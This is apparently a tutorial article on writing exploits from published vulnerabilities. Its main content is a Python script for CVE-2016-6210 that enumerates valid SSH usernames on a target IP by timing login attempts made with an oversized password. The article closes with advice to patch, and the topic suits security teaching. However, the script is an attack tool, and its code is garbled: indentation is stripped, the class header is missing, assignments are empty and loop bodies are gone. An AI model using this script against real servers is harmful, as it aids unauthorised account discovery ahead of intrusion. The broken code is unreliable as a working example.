There are usually two general steps for a software exploit to be created.
The first step is the vulnerability discovery. This is the hardest of the two steps. It requires in-depth knowledge about the target software, device, or protocol and a creative mind that is tuned to edge cases and exceptions.
The second step is the exploitation of the discovered vulnerability. This requires the developer to take the vulnerability description and write a module or script that takes advantage of it.
This article will address the second step: Exploit creation.
First, where do we find vulnerabilities for software if we do not discover them ourselves? There are online databases that store published vulnerabilities (and may include example code) in a searchable format. A few are CVE, exploit-db, or the NVD.
Looking through these databases we will see that all published vulnerabilities have a unique CVE identifier. They uniquely identify each vulnerability that has been discovered and confirmed. Using the databases we can search for potential vulnerabilities of a particular target (Note: This is similar to what a bot might try, after it has scanned a new target server, to find any published vulnerabilities).
Some vulnerability descriptions may even sample code — such as CVE-2016-6210. This makes it trivial to write a script that may utilize this vulnerability. For example, we could use the code given to us in CVE-2016-6210 and expand it to make a command-line script that takes a list of known usernames and tries each one… Which is the vulnerability the CVE describes: “SSH Username Enumeration Vulnerability”.
This script will not breach the system, but what it will do is try to find valid usernames via SSH. This vulnerability may lead to, or become part of, a larger attack. It is important to patch all discovered vulnerabilities as you don’t know how an adversary will try to attack your system.
Given the sample code, here is our improved version:
file_path = None
target = ''
userlist = ['root']
calc_times = 
req_time = 0.0
num_pools = 10
def __init__(self, target, filepath=None, req_time=0.0):
self.req_time = req_time
self.target = target
self.file_path = filepath
def load_users(self, filepath):
data = 
with open(filepath, 'r') as f:
data = f.read().splitlines()
self.userlist = data
def partition_list(self, p_list):
p_size = len(p_list) / self.num_pools
for i in xrange(0, len(p_list), p_size):
for user in self.userlist:
def test_with_user(self, user):
p = 'A' * 25000
ssh = paramiko.SSHClient()
start_time = time.clock()
end_time = time.clock()
ssh.connect(self.target, username=user, password=p)
end_time = time.clock()
total = end_time - start_time
avg = reduce(lambda x, y: x + y, self.calc_times) / len(self.calc_times)
flag = '*' if total &amp;gt; avg else ''
print('%s:\t\t%s\t%s' % (user, total, flag))
def main(ip_addr, filename=None, req_time=0.0):
if ip_addr == '' or not ip_addr:
print('No target IP specified')
if filename == '':
filepname = None
engine = Engine(target=ip_addr, filepath=filename, req_time=req_time)
if __name__ == "__main__":
parser = argparse.ArgumentParser(description='Simple automated script for CVE 2016-6210 -- OpenSSHD 7.2p2 &amp;gt;= version')
parser.add_argument('ip', help='[Required] The IP of the target server')
parser.add_argument('-u', '--userlist', help='Specify a filepath with a list of usernames to try -- one username per line')
parser.add_argument('-t', '--time', help='Set the time between requests (in seconds)')
ip_addr = None
filename = None
req_time = 0.0
args = parser.parse_args()
ip_addr = args.ip
filename = args.userlist
req_time = float(args.time)
main(ip_addr, filename, req_time)
It is much easier to write exploits for already-discovered vulnerabilities than it is to discover them yourself.
This is why it is vital that system admins keep their servers and software up to date.